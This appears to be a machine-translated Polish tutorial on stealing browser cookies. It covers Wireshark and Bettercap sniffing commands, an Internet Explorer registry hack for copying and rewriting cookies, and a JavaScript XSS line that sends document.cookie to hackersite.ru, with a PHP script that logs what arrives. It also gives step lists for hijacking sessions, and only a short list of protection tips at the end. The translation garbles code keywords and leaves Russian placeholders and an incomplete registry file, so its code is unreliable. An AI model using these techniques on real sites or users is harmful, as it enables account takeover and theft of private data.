Jeśli zdecydujesz się uruchomić okno Wireshark i wyświetlić przesyłane obrazy za pomocą Driftnet, możesz ich również użyć do monitorowania przesyłanych danych w czasie rzeczywistym.

Analiza danych w Wireshark

Wireshark ma bardzo szczegółowy filtr danych, jego różnorodność można zobaczyć na oficjalnej stronie dokumentacji

Podam przykłady kilku działających filtrów.

Aby wyświetlić wszystkie żądania HTTP wysłane metodą POST w Wireshark:

Http.request.method == "POST"

Aby wyświetlić dane wysłane lub odebrane z określonej domeny (zamiast wprowadź interesującą Cię domenę, na przykład vk.com):

Http.host==" "

Aby wyszukać ciąg znaków w całym strumieniu przesyłanych danych, stosuje się następujący filtr (zamiast<строка>wpisz ciąg, który chcesz przeszukać):

Rama zawiera"<строка>"

Aby wyświetlić pliki cookie w Wireshark:

Plik cookie HTTP

Jeśli interesują Cię pliki cookie o określonej nazwie, użyj:

Plik cookie HTTP zawiera „<имя_куки>"

Aby wyświetlić żądania w Wireshark wysłane przy użyciu metody GET lub POST:

Http.request.uri zawiera „?” lub http.request.method=="POST"

Jeśli chcesz znaleźć dane wymieniane z serwerem FTP, w Wireshark możesz skorzystać z jednego z następujących filtrów:

Port Tcp==21 || port tcp==20

Podsłuchiwanie danych w innych programach

Chociaż mitmAP korzysta z ciekawych programów, zawsze możesz przeprowadzić analizę danych za pomocą innych narzędzi. Na przykład, jeśli chcesz używać Bettercap, musisz wziąć pod uwagę, że:

• Spoofing ARP nie jest potrzebny
• Nie jest wymagane wykrywanie klienta
• Nie ma potrzeby włączania SSLStrip.

Te. polecenie może wyglądać następująco:

Sudo Bettercap -X -I wlan0 -S NONE --no-discovery

Sudo Bettercap -X -I wlan0 -S NONE --no-discovery --proxy --no-sslstrip

Zamykanie mitmAP

Aby wyłączyć program, naciśnij szybko dwa razy CTRL+C. Przypominam, że ponowne uruchomienie programu spowoduje nadpisanie plików otrzymanymi danymi. Te. musisz przenieść je do innego folderu, jeśli chcesz je później przeanalizować.

Co to jest plik cookie?

Istnieje mechanizm, który pozwala serwerowi http zapisać pewne informacje tekstowe na komputerze użytkownika, a następnie uzyskać do nich dostęp. Informacje te nazywane są plikami cookie. Zasadniczo każdy plik cookie to para: nazwa parametru i jego wartość. Do każdego pliku cookie przypisana jest także domena, do której należy. Ze względów bezpieczeństwa we wszystkich przeglądarkach serwer http może uzyskać dostęp tylko do plików cookie swojej domeny. Dodatkowo pliki cookies mogą mieć datę ważności i w takim przypadku będą przechowywane na komputerze do tego czasu, nawet jeśli zamkniesz wszystkie okna przeglądarki.

Wszystkie systemy wielodostępne wykorzystują pliki cookie do identyfikacji użytkownika. Dokładniej, aktualne połączenie użytkownika z usługą, sesja użytkownika. Jeśli ktoś rozpozna Twoje pliki cookies, będzie mógł zalogować się do systemu w Twoim imieniu. Ponieważ obecnie bardzo niewiele zasobów Internetu sprawdza zmiany adresu IP podczas jednej sesji użytkownika.

Twórcy przeglądarek nie udostępniają wbudowanych narzędzi do edycji plików cookies. Ale możesz sobie poradzić ze zwykłym notatnikiem.

Edytor rejestru systemu Windows wersja 5.00



@="C:\\IE_ext.htm"

Zapisz go pod nazwą IE_ext.reg

Krok 2: Korzystając z utworzonego pliku, dodaj zmiany do rejestru Windows.

Krok 3: utwórz plik tekstowy z tekstem

< script język="javascript">
external.menuArguments.clipboardData.setData("Tekst" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= „nazwa testowa=wartość testowa; ścieżka=/; domena=domena testowa.ru”;
alert(external.menuArguments.document.cookie);

Krok 4: Wchodzimy na interesującą nas stronę internetową.

Krok 5: Kliknij prawym przyciskiem myszy puste miejsce na stronie i wybierz element menu „Praca z plikami cookie”. Zezwól na dostęp do schowka. Twoje pliki cookie z tej witryny zostaną zapisane w schowku. Możesz włożyć ich notatnik i zajrzeć.

Krok 6: Aby zmienić niektóre pliki cookie, edytuj plik C:\IE_ext.htm, zastępując go Nazwa testu w imię ciasteczka, wartość testowa- o jego znaczeniu, domena testowa.ru– do domeny serwisu. Jeśli to konieczne, dodaj więcej podobnych linii. Dla ułatwienia kontroli dodałem do skryptu dane wyjściowe bieżących plików cookie przed i po zmianie: alert(external.menuArguments.document.cookie);

Krok 7: Wykonaj ponownie krok 5, a następnie odśwież stronę.

Konkluzja: uzyskamy dostęp do tego zasobu internetowego za pomocą zaktualizowanych plików cookie.

Jak ukraść pliki cookie za pomocą JavaScript?

Jeśli atakującemu uda się znaleźć możliwość wykonania dowolnego skryptu JavaScript na komputerze ofiary, może on z łatwością odczytać aktualne pliki cookie. Przykład:

var str= dokument.cookie;

Tylko czy uda mu się przenieść je na swoją stronę, bo tak jak wspomniałem wcześniej, skrypt JavaScript nie będzie mógł bez dodatkowego potwierdzenia uzyskać dostępu do strony znajdującej się w innej domenie? Okazuje się, że skrypt JavaScript może załadować dowolny obraz znajdujący się na dowolnym serwerze http. Jednocześnie przenieś na to zdjęcie wszelkie informacje tekstowe zawarte w żądaniu pobrania. Przykład: http://hackersite.ru/xss.jpg?text_info Jeśli więc uruchomisz ten kod:

var img= nowy wygląd();

img.src= „http://hackersite.ru/xss.jpg?”+ encodeURI(document.cookie);

Jak sobie poradzić z takimi prośbami o pobranie „obrazu”?

Osoba atakująca musi jedynie znaleźć hosting z obsługą PHP i umieścić tam taki kod:

$uid=kod url($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>

Następnie wszystkie parametry żądania dla tego skryptu zostaną zapisane w pliku log.txt. Pozostaje jedynie zastąpić opisany wcześniej skrypt JavaScript http://hackersite.ru/xss.jpg do ścieżki do tego skryptu php.

Pokazałem jedynie najprostszy sposób wykorzystania luk XSS. Dowodzi to jednak, że obecność co najmniej jednej takiej luki w witrynie internetowej przeznaczonej dla wielu użytkowników może pozwolić osobie atakującej na wykorzystanie jej zasobów w Twoim imieniu.

Ciasteczka - informacje w formie pliku tekstowego zapisywane przez serwis na komputerze użytkownika. Zawiera dane uwierzytelniające (login/hasło, identyfikator, numer telefonu, adres skrzynki pocztowej), ustawienia użytkownika, status dostępu. Przechowywane w profilu przeglądarki.

Hakowanie plików cookie to kradzież (lub „przejęcie”) sesji osoby odwiedzającej zasoby sieciowe. Prywatne informacje stają się dostępne nie tylko dla nadawcy i odbiorcy, ale także dla strony trzeciej – osoby, która przeprowadziła przechwycenie.

Narzędzia i techniki hakowania plików cookie

Złodzieje komputerowi, podobnie jak ich koledzy w prawdziwym życiu, oprócz umiejętności, zręczności i wiedzy, mają oczywiście także własne narzędzia - rodzaj arsenału kluczy głównych i sond. Przyjrzyjmy się najpopularniejszym sztuczkom, których używają hakerzy, aby wyodrębnić pliki cookie od użytkowników Internetu.

Sniffery

Specjalne programy do monitorowania i analizy ruchu sieciowego. Ich nazwa pochodzi od angielskiego czasownika „sniff” (sniff), ponieważ. dosłownie „wyszukuje” pakiety przesyłane pomiędzy węzłami.

Jednak osoby atakujące używają sniffera do przechwytywania danych sesji, wiadomości i innych poufnych informacji. Celem ich ataków są głównie niezabezpieczone sieci, do których pliki cookies wysyłane są w otwartej sesji HTTP, czyli praktycznie nie są szyfrowane. (Publiczne Wi-Fi jest pod tym względem najbardziej podatne na zagrożenia.)

Aby osadzić sniffera w kanale internetowym pomiędzy węzłem użytkownika a serwerem WWW, stosuje się następujące metody:

• „nasłuchiwanie” interfejsów sieciowych (koncentratorów, przełączników);
• rozgałęzianie i kopiowanie ruchu;
• łączenie się z luką w kanale sieciowym;
• analiza poprzez specjalne ataki, które przekierowują ruch ofiary do sniffera (podrabianie adresów MAC, fałszowanie adresów IP).

Skrót XSS oznacza Cross Site Scripting. Służy do atakowania stron internetowych w celu kradzieży danych użytkownika.

Zasada XSS jest następująca:

• osoba atakująca wstawia złośliwy kod (specjalny ukryty skrypt) na stronie internetowej, forum lub w wiadomości (na przykład podczas korespondencji w sieci społecznościowej);
• ofiara wchodzi na zainfekowaną stronę i aktywuje zainstalowany kod na swoim komputerze (klika, korzysta z łącza itp.);
• z kolei wykonany złośliwy kod „wyciąga” z przeglądarki poufne dane użytkownika (w szczególności pliki cookies) i wysyła je na serwer WWW osoby atakującej.

Aby „wszczepić” programowy mechanizm XSS, hakerzy wykorzystują różnego rodzaju luki w serwerach internetowych, usługach online i przeglądarkach.

Wszystkie luki XSS dzielą się na dwa typy:

• Bierny. Atak następuje poprzez żądanie określonego skryptu na stronie internetowej. Złośliwy kod może zostać wstrzyknięty do różnych formularzy na stronie internetowej (na przykład w pasku wyszukiwania witryny). Najbardziej podatne na pasywne XSS są zasoby, które nie filtrują znaczników HTML po nadejściu danych;
• Aktywny. Znajduje się bezpośrednio na serwerze. Są one aktywowane w przeglądarce ofiary. Są aktywnie wykorzystywane przez oszustów na wszelkiego rodzaju blogach, czatach i kanałach informacyjnych.

Hakerzy starannie „kamuflują” swoje skrypty XSS, aby ofiara niczego nie podejrzewała. Zmieniają rozszerzenie pliku, przekazują kod w postaci obrazu, motywują do kliknięcia linku i przyciągają ciekawą treścią. W rezultacie: użytkownik komputera PC, nie mogąc zapanować nad własną ciekawością, własnoręcznie (kliknięciem myszy) wysyła sesyjne pliki cookie (z loginem i hasłem!) do autora skryptu XSS – komputerowego złoczyńcy.

Zastąpienie plików cookie

Wszystkie pliki cookies są zapisywane i wysyłane na serwer WWW (z którego „pochodzą”) w stanie niezmienionym – w oryginalnej formie – z tymi samymi wartościami, ciągami znaków i innymi danymi. Świadoma modyfikacja ich parametrów nazywana jest substytucją plików cookies. Innymi słowy, podmieniając pliki cookie, atakujący udaje, że myśli pobożnie. Przykładowo podczas dokonywania płatności w sklepie internetowym plik cookie obniża kwotę płatności – następuje w ten sposób „oszczędność” na zakupach.

Skradzione sesyjne pliki cookie w sieci społecznościowej z konta innej osoby są „wstawiane” do innej sesji i na innym komputerze. Właściciel skradzionych plików cookie uzyskuje pełny dostęp do konta ofiary (korespondencja, treść, ustawienia strony), o ile znajduje się ona na swojej stronie.

„Edycja” plików cookies odbywa się za pomocą:

• funkcje „Zarządzaj plikami cookies…” w przeglądarce Opera;
• Dodatki do Menedżera plików cookie i Zaawansowanego menedżera plików cookie dla FireFox;
• Narzędzia IECookiesView (tylko Internet Explorer);
• edytor tekstu, taki jak AkelPad, NotePad lub Notatnik Windows.

Fizyczny dostęp do danych

Bardzo prosty schemat wdrożenia, składający się z kilku kroków. Ale jest skuteczny tylko wtedy, gdy komputer ofiary z otwartą sesją, na przykład VKontakte, pozostanie bez nadzoru (i to przez długi czas!):

1. W pasku adresu przeglądarki wpisana jest funkcja javascript, która wyświetla wszystkie zapisane pliki cookies.
2. Po naciśnięciu „ENTER” wszystkie pojawiają się na stronie.
3. Cookies są kopiowane, zapisywane do pliku, a następnie przenoszone na dysk flash.
4. Na innym komputerze pliki cookie są zastępowane w nowej sesji.
5. Dostęp do konta ofiary zostaje przyznany.

Z reguły hakerzy używają powyższych narzędzi (+ innych) zarówno w połączeniu (ponieważ poziom ochrony wielu zasobów sieciowych jest dość wysoki), jak i osobno (gdy użytkownicy są nadmiernie naiwni).

XSS + sniffer

1. Tworzony jest skrypt XSS, który określa adres sniffera online (domowego lub określonej usługi).
2. Szkodliwy kod jest zapisywany z rozszerzeniem .img (format obrazu).
3. Plik ten jest następnie przesyłany na stronę internetową, czat lub wiadomość osobistą – gdzie zostanie przeprowadzony atak.
4. Uwagę użytkownika zwraca się na stworzoną „pułapkę” (tutaj wchodzi w grę socjotechnika).
5. Jeśli pułapka zostanie uruchomiona, pliki cookie z przeglądarki ofiary zostaną przechwycone przez sniffera.
6. Osoba atakująca otwiera dzienniki sniffera i odzyskuje skradzione pliki cookie.
7. Następnie dokonuje podmiany w celu uzyskania uprawnień właściciela konta korzystając z powyższych narzędzi.

Ochrona plików cookie przed włamaniem

1. Korzystaj z szyfrowanego połączenia (przy użyciu odpowiednich protokołów i metod bezpieczeństwa).
2. Nie odpowiadaj na podejrzane linki, zdjęcia lub kuszące oferty zapoznania się z „nowym bezpłatnym oprogramowaniem”. Zwłaszcza od nieznajomych.
3. Korzystaj wyłącznie z zaufanych zasobów sieciowych.
4. Zakończ autoryzowaną sesję klikając przycisk „Wyloguj” (a nie tylko zamykając kartę!). Zwłaszcza jeśli logowałeś się na swoje konto nie z komputera osobistego, ale na przykład z komputera w kafejce internetowej.
5. Nie korzystaj z funkcji „Zapisz hasło” dostępnej w przeglądarce. Przechowywane dane rejestracyjne znacznie zwiększają ryzyko kradzieży. Nie bądź leniwy, nie trać kilku minut na wpisywanie hasła i logowanie na początku każdej sesji.
6. Po surfowaniu po Internecie - odwiedzaniu sieci społecznościowych, forów, czatów, stron internetowych - usuń zapisane pliki cookie i wyczyść pamięć podręczną przeglądarki.
7. Regularnie aktualizuj przeglądarki i oprogramowanie antywirusowe.
8. Używaj rozszerzeń przeglądarki chroniących przed atakami XSS (na przykład NoScript dla FF i Google Chrome).
9. Okresowo na kontach.

A co najważniejsze, nie trać czujności i uwagi podczas relaksu lub pracy w Internecie!